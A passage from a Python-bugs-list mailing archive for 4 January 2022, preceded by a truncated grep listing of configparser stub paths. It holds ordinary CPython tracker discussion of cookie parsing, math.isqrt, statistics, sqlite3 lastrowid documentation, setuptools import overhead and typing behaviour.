configparser2-4.0.0/src/backports/configparser2/__init__.py:class 
LegacyInterpolation(Interpolation):
configparser2-4.0.0/src/configparser2.py:LegacyInterpolation,


The others are all configparser.pyi typeshed stub files:

eth_abi-2.1.1/venv/lib/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth_abi-2.1.1/venv/lib64/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/con

[issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters

2022-01-04 Thread STINNER Victor


STINNER Victor  added the comment:

Fedora issue: https://bugzilla.redhat.com/show_bug.cgi?id=2034962

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46256] Objects __del__ called after module have been removed

2022-01-04 Thread Christopher Vickery


Christopher Vickery  added the comment:

If the attached module is run with no command line arguments, it will reproduce 
the problem without doing anything else. When run using Python 3.9 it does not 
cause the problem. (This module comes from 
https://github.com/cvickery/transfer-app, with an unnecessary import commented 
out.)

--
nosy: +cvickery
Added file: https://bugs.python.org/file50540/format_rules.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue41945] http.cookies.SimpleCookie.parse error after [keys] or some JSON data values

2022-01-04 Thread Jan Novak


Jan Novak  added the comment:

New examples with the structured data.

Problems are with quotes and spaces inside { or [

cookie-script.com set those cookie data:
CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}

Python loads only cookies before that JSON structure

>>> from http.cookies import SimpleCookie
>>> ck = SimpleCookie()
>>> ck.load('id=12345; 
>>> CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}; 
>>> something="not loaded"')
>>> print(ck)
Set-Cookie: id=12345

This works:
>>> ck.load('id=12345; complex_data={1:[1,2]}; something="loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,2]}
Set-Cookie: id=12345
Set-Cookie: something="loaded"

This not works:
>>> ck.load('id=12345; complex_data={1:[1, 2]}; something="not loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,
Set-Cookie: id=12345

Conclusion:
Parsing JSON like cookie objects works, except quotes and without spaces. 

Exist some new RFC with JSON data support?
How implementation/support/solution in diferent languages?
Exist another Python library which support cookie with JSON data?

--
title: http.cookies.SimpleCookie.parse error after [keys] -> 
http.cookies.SimpleCookie.parse error after [keys] or some JSON data values
versions: +Python 3.10 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46187] Optionally support rounding for math.isqrt()

2022-01-04 Thread Tim Peters


Tim Peters  added the comment:

> Is
>
>  i, rem = isqrt_rem(n)
>  i + (rem != 0)
>
> better than
>
>   (isqrt(n<<2) + 1) >> 1
>
> or
>
>   n and isqrt(n-1) + 1
>
> ?

Define "better"? The first way is by far the most obvious of the three, and the 
second way the least obvious. The first way also "wins" on being  a variation 
of a uniform pattern that can deliver the floor, ceiling, or rounded result, 
depending on which simple comparison result is added. It's not "a trick" - it's 
the opposite of clever ;-)

The first way is also unique in being the only one of the three that does _not_ 
do any Python-level arithmetic on integers as wide as `n`. `i` and `rem` are no 
more than about half the bit length of `n`. `n << 2` and `n - 1` in the others 
have to create new int objects at least as wide as `n`.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46244] typing._TypeVarLike missing __slots__

2022-01-04 Thread Arie Bovenberg


Arie Bovenberg  added the comment:

@kj I would very much like to! Seems like a good place to start contributing :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

So is it too late to change this? This went out with 3.10, Serhiy has argued 
it's a bugfix.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46257] Convert statistics sum of squares to a single pass algorithm

2022-01-04 Thread Raymond Hettinger


New submission from Raymond Hettinger :

The existing code makes two passes, one to compute the mean and another to 
compute the sum of squared differences from the mean.  A consequence of making 
two passes is that iterator inputs must be converted to a list before 
processing.  This throws away the memory saving advantages of iterators. 

The ostensible reason for the two pass code is that the single pass variant is 
numerically unstable when implemented with floating point accumulators.  
However, this code uses fractions throughout, so the accumulation is exact.

Changing to a single pass saves memory, doubles the speed, and simplifies the 
upstream code in variance(), pvariance(), stdev(), and pstdev().

--
components: Library (Lib)
messages: 409692
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Convert statistics sum of squares to a single pass algorithm
type: performance
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46257] Convert statistics sum of squares to a single pass algorithm

2022-01-04 Thread Raymond Hettinger


Change by Raymond Hettinger :


--
keywords: +patch
pull_requests: +28611
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30403

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46258] Minor algorithmic improvements for math.isqrt

2022-01-04 Thread Mark Dickinson


New submission from Mark Dickinson :

There are a couple of minor algorithmic improvements possible for the 
math.isqrt fast path (which is used for nonnegative integers smaller than 
2**64). On my machine those improvements produce a little over a 10% speedup.

The current algorithm for values under 2**64 involves exactly four division 
instructions, corresponding to four Newton steps. The proposal is to:

- 1. Replace the first division with a table lookup. The necessary table is 
extremely small: 12 entries at one byte per entry.
- 2. Arrange for the return type of the _approximate_sqrt helper function to be 
uint32_t rather than uint64_t. That means that the correction step only 
involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit 
multiplication.

The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit 
integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` 
is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 
< 2**64`, from which it follows that `u <= 2**32`. So the only possible case 
where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the 
earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that 
case the top 31 bits of `n` are completely determined and since the first steps 
of the algorithm only depend on the topmost bits of `n`, it's easy to follow 
through the algorithm and see that it's not possible for `u` to be `2**32` in 
that case. (We always get `u = 128` from the lookup, followed by `u = 255` 
after the first division, then `u = 65536` after the second.)

--
components: Extension Modules
messages: 409693
nosy: mark.dickinson
priority: normal
severity: normal
stage: commit review
status: open
title: Minor algorithmic improvements for math.isqrt
type: performance
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46258] Minor algorithmic improvements for math.isqrt

2022-01-04 Thread Mark Dickinson


Change by Mark Dickinson :


--
keywords: +patch
pull_requests: +28612
stage: commit review -> patch review
pull_request: https://github.com/python/cpython/pull/30333

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue41011] [venv] record which executable and command were used to create a virtual environment

2022-01-04 Thread Éric Araujo

Change by Éric Araujo :


--
versions: +Python 3.11 -Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

`isinstance(list[int], type)` returns `True` in 3.9 as well, so the behaviour 
has been around for a while. (Not a comment on whether the change is worth 
making, just a note.)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45609] Specialize STORE_SUBSCR

2022-01-04 Thread Mark Shannon


Mark Shannon  added the comment:


New changeset 7537f6008704b20e2d04a7ef1c0cfa34121cc5eb by Dennis Sweeney in 
branch 'main':
bpo-45609: More specialization stats for STORE_SUBSCR (GH-30193)
https://github.com/python/cpython/commit/7537f6008704b20e2d04a7ef1c0cfa34121cc5eb


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread John Holman


New submission from John Holman :

Example:

str(1.12345678901234)
Out[24]: '1.123456789011'

shouldn't the last digit should be 2?

--
messages: 409696
nosy: johngholman
priority: normal
severity: normal
status: open
title: float formatting error?
type: behavior
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

Okay, so it is probably here to stay. We could justify it (after the fact :-) 
by saying that you can instantiate list[int], but not Any.

Are there exceptions to that? (I.e. are there other annotation types that have 
isinstance(X, type) return False but can be instantiated, or the other way 
around?)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread Raymond Hettinger


Raymond Hettinger  added the comment:

The two numbers you gave become the same when rounded to the limited internal 
precision used by floats.

>>> 1.12345678901234 == 1.123456789011
True

When it comes to displaying the number, Python tries to show the shortest 
possible member of the equivalence class.

--
nosy: +rhettinger
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread John Holman


John Holman  added the comment:

Thanks - sorry to waste your time.

On Tue, 4 Jan 2022 at 18:17, Raymond Hettinger 
wrote:

>
> Raymond Hettinger  added the comment:
>
> The two numbers you gave become the same when rounded to the limited
> internal precision used by floats.
>
> >>> 1.12345678901234 == 1.123456789011
> True
>
> When it comes to displaying the number, Python tries to show the shortest
> possible member of the equivalence class.
>
> --
> nosy: +rhettinger
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue17951] TypeError during gdb backtracing

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> python-gdb.py fails with TypeError("'FakeRepr' object is not 
subscriptable") is gdb fails to read debug symbols

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46009] sending non-None values makes generator raise StopIteration on next access

2022-01-04 Thread Brandt Bucher


Brandt Bucher  added the comment:


New changeset 31e43cbe5f01cdd5b5ab330ec3040920e8b61a91 by Brandt Bucher in 
branch 'main':
bpo-46009: Remove GEN_START (GH-30367)
https://github.com/python/cpython/commit/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

My plan was to fix as much bugs in the stdlib and backport workaround to 3.9 
and 3.10, then propose to revert this "feature" in 3.11.

There is a risk of introducing some regressions by this change, but we can 
handle it. I think it is better to do it now and fix potential bugs in 
third-party code (we cannot add workarounds in all third-party code) than keep 
this weird special case forever.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

Yes, there are a few exceptions to that :(

```
>>> from typing import Annotated
>>> x = Annotated[int, "idk some int"]
>>> x()
0
>>> isinstance(x, type)
False
>>>
>>> from re import Pattern
>>> y = Pattern[str]
>>> y()
Traceback (most recent call last):
  File "", line 1, in 
TypeError: cannot create 're.Pattern' instances
>>> isinstance(y, type)
True
```

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

I agree with Serhiy.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46248] Compilation errors on macOS

2022-01-04 Thread Sandip Shah


Sandip Shah  added the comment:

Hi,

Like I mentioned in the ticket, I am trying to compile libplist,
libimobiledevice , and libimobiledevice-glue-1.0 on my mac.  These are
needed to do any development on a mobile device (specifically for testing /
automation).  I use Python for a lot of developmental work, and hence would
rather stick to the same framework to work on mobile devices too.

https://github.com/libimobiledevice

The project is not to "embed" Python, but to link to it, so that it can be
used for testing the app on the mobile (the tools rely on Cython).

The three tools have their own "autogen.sh" which fails with the error
mentioned in the ticket.

While researching, I had found this solution on stackexchange -
https://stackoverflow.com/questions/6490513/vim-failing-to-compile-with-python-on-os-x

Which led me to this after looking more in the python distribution files:

---
In file
/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sysconfig.py
On line 410 - fn _generate_posix_vars

439-448
# There's a chicken-and-egg situation on OS X with regards to the
# _sysconfigdata module after the changes introduced by #15298:
# get_config_vars() is called by get_platform() as part of the
# `make pybuilddir.txt` target -- which is a precursor to the
# _sysconfigdata.py module being constructed.  Unfortunately,
# get_config_vars() eventually calls _init_posix(), which attempts
# to import _sysconfigdata, which we won't have built yet.  In order
# for _init_posix() to work, if we're on Darwin, just mock up the
# _sysconfigdata module manually and populate it with the build vars.
# This is more than sufficient for ensuring the subsequent call to
---

Let me know if you need any other information.

Thanks,

Sandip

On Tue, Jan 4, 2022 at 6:30 AM Ronald Oussoren 
wrote:

>
> Ronald Oussoren  added the comment:
>
> Part of the problem here is that most keys in the result of
> sysconfig.get_config_vars() are copied as-is from the CPython Makefile and
> pyconfig.h header file.
>
> The keys copied from the Makefile are in a lot of cases not useful for
> users of python because they contain values that are only useful while
> building CPython itself.
>
> Without knowing your use case it is hard to point you to a better
> solution, but as Ned writes in general just follow the instructions from
> the extending and embedding documentation.
>
> --
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

I'm still wondering why speed.python.org showed such a slowdown, and how we can 
revert that. Here's a new theory.

Thanks to an investigation I did together with Eric, I now suspect that the 
release of setuptools 60.0.0 on Dec 19 is a smoking gun. PyPerformance 
(re)installs the latest versions of pip and setuptools.

Setuptools 60.0 makes a change in the file distutils-precedence.pth that causes 
it (by default) to import something called _distutils_hack and to call its 
add_shim() function. In previous setuptools this was off by default, but in 
60.0 it switched to on. See 
https://github.com/pypa/setuptools/blob/main/CHANGES.rst#v6000

That add_shim() call in turn installs an extra entry in front of sys.meta_path, 
which does a bunch of extra work. See 
https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py

Pablo, can we change the PyPerformance configuration or the script that runs it 
to set and export SETUPTOOLS_USE_DISTUTILS=stdlib, to see whether that affects 
perf at all?

(Note that the code in distutils-precedence.pth is executed by site.py in 
addpackage().)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

> If possible, it's usually better to have the .executemany() create a
> cursor with an output array providing the row ids, e.g. using "INSERT ...
> RETURNING ..." (PostgreSQL). That way you can access all row ids and
> can also provide the needed detail in case the INSERTs happen out of
> order to map them to the input data.

Hm, maybe so. But it will add a lot of overhead and complexity to 
executemany(), and there haven't been requests for this feature for sqlite3. 
AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, 
my proposal of modifying lastrowid to always show the rowid of the actual last 
inserted row is a very cheap operation, _and_ it simplifies the code (=> 
increased maintainability), so I think I'll go for that.

> For cases where you don't need sequence IDs, it's often better to
> not rely on auto-increment columns for IDs, but instead use random
> pre-generated IDs. Saves roundtrips to the database and works nicely
> with cluster databases as well.

Yes, but in those cases you keep track of the row id yourself, so you probably 
won't need lastrowid ;)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Marc-Andre Lemburg


Marc-Andre Lemburg  added the comment:

On 04.01.2022 21:02, Erlend E. Aasland wrote:
> 
> Erlend E. Aasland  added the comment:
> 
>> If possible, it's usually better to have the .executemany() create a
>> cursor with an output array providing the row ids, e.g. using "INSERT ...
>> RETURNING ..." (PostgreSQL). That way you can access all row ids and
>> can also provide the needed detail in case the INSERTs happen out of
>> order to map them to the input data.
> 
> Hm, maybe so. But it will add a lot of overhead and complexity to 
> executemany(), and there haven't been requests for this feature for sqlite3. 
> AFAIK, there hasn't been request for lastrowid for executemany() at all. 
> OTOH, my proposal of modifying lastrowid to always show the rowid of the 
> actual last inserted row is a very cheap operation, _and_ it simplifies the 
> code (=> increased maintainability), so I think I'll go for that.

Sorry, I wasn't suggesting this for SQLite; it's just a better
and more flexible option than using cursor.lastrowid where
available. Sadly, the PG extension is not standards conform SQL.

>> For cases where you don't need sequence IDs, it's often better to
>> not rely on auto-increment columns for IDs, but instead use random
>> pre-generated IDs. Saves roundtrips to the database and works nicely
>> with cluster databases as well.
> 
> Yes, but in those cases you keep track of the row id yourself, so you 
> probably won't need lastrowid ;)

Indeed, and that's the point :-)

Those auto-increment ID fields are
not really such a good idea to begin with. Either you know that you
will need to manipulate the rows after inserting them (in which case
you can set an ID) or you don't care about the individual rows and
only want to aggregate or search in them based on other fields.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

True that :) I'll close GH-30371 and prepare GH-30380 for review. I'll request 
your review if you don't mind.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany()

2022-01-04 Thread Erlend E. Aasland


Change by Erlend E. Aasland :


--
title: [sqlite3] move set lastrowid out of the query loop -> [sqlite3] move set 
lastrowid out of the query loop and enable it for executemany()

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46260] Misleading SyntaxError on f-string

2022-01-04 Thread Matt Delengowski


New submission from Matt Delengowski :

Example code


```
foo = 1
f"blank (open paren {foo )"
```

Error report

  File "", line 1
f"blank (open paren {foo )"
   ^
SyntaxError: f-string: unmatched ')'

The problem is due to unmatched '}' however.

--
components: Parser
messages: 409709
nosy: Delengowski, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: Misleading SyntaxError on f-string
type: behavior
versions: Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

More data. On my Mac, with SETUPTOOLS_USE_DISTUTILS=stdlib, using -X importtime 
I see the following extra modules being imported:

import time:   278 |278 | types
import time:   112 |112 |   _operator
import time:   419 |531 | operator
import time:   129 |129 | itertools
import time:   325 |325 | keyword
import time:   468 |468 | reprlib
import time:   258 |258 | _collections
import time:   978 |   2156 |   collections
import time:78 | 78 |   _functools
import time:   835 |   3068 | functools
import time:  1359 |   5235 |   enum
import time:   138 |138 | _sre
import time:   497 |497 |   sre_constants
import time:   528 |   1025 | sre_parse
import time:   512 |   1674 |   sre_compile
import time:   109 |109 |   _locale
import time:   886 |886 |   copyreg
import time:   671 |   8574 | re
import time:   471 |471 |   warnings
import time:   330 |801 | importlib
import time:   906 |  10279 |   _distutils_hack

That's around 10 msec, so in the right ballpark.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46260] Misleading SyntaxError on f-string

2022-01-04 Thread Pablo Galindo Salgado


Change by Pablo Galindo Salgado :


--
nosy: +eric.smith

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

I now agree with Serhiy's plan. We should execute ASAP so people get a chance 
to try this in the next alpha release.

We will still allow instantiating e.g. list[int], right?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany()

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

There are some inaccuracies in the docs I need to fix first, since those 
changes must be backported, and I want the updated docs applied upon the 
corrected docs; I'll open a separate issue/PR for that.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


New submission from Erlend E. Aasland :

The sqlite3 docs say that lastrowid is set to None after executemany(), or 
after execute()'ing statements that are not INSERTs or REPLACEs. This is not 
true; in those cases, lastrowid is preserved. lastrowid is only None in a 
pristine cursor. Suggesting to reword the docs so they harmonise with the 
implementation.

Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first 
statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For 
example:

>>> import sqlite3
>>> cx = sqlite3.connect(":memory:")
>>> cu = cx.cursor()
>>> cu.lastrowid
>>> cu.execute("select 1")
>>> cu.lastrowid
0

This behaviour is consistent across current main through 3.7 (though in 2.7, 
the behaviour is consistent with the docs, so it probably changed a long time 
ago). I'm not sure it's worth noting this side effect in the docs though.

--
assignee: docs@python
components: Documentation
messages: 409713
nosy: docs@python, erlendaasland, lemburg
priority: normal
severity: normal
status: open
title: [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs
versions: Python 3.10, Python 3.11, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

Oh, and the docs says that lastrowid "provides the rowid of the last modified 
row". This is not true; it provides the row id of the last _inserted_ row.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

I also suggest to add a note about tables without rowids, quoting the SQLite 
docs:

Inserts into WITHOUT ROWID tables are not recorded.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Change by Erlend E. Aasland :


--
keywords: +patch
pull_requests: +28613
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30407

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

FYI: https://sqlite.org/c3ref/last_insert_rowid.html

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue31188] Makefile.pre.in: commoninstall: reformat

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
keywords: +easy
type:  -> behavior
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



  1   2   >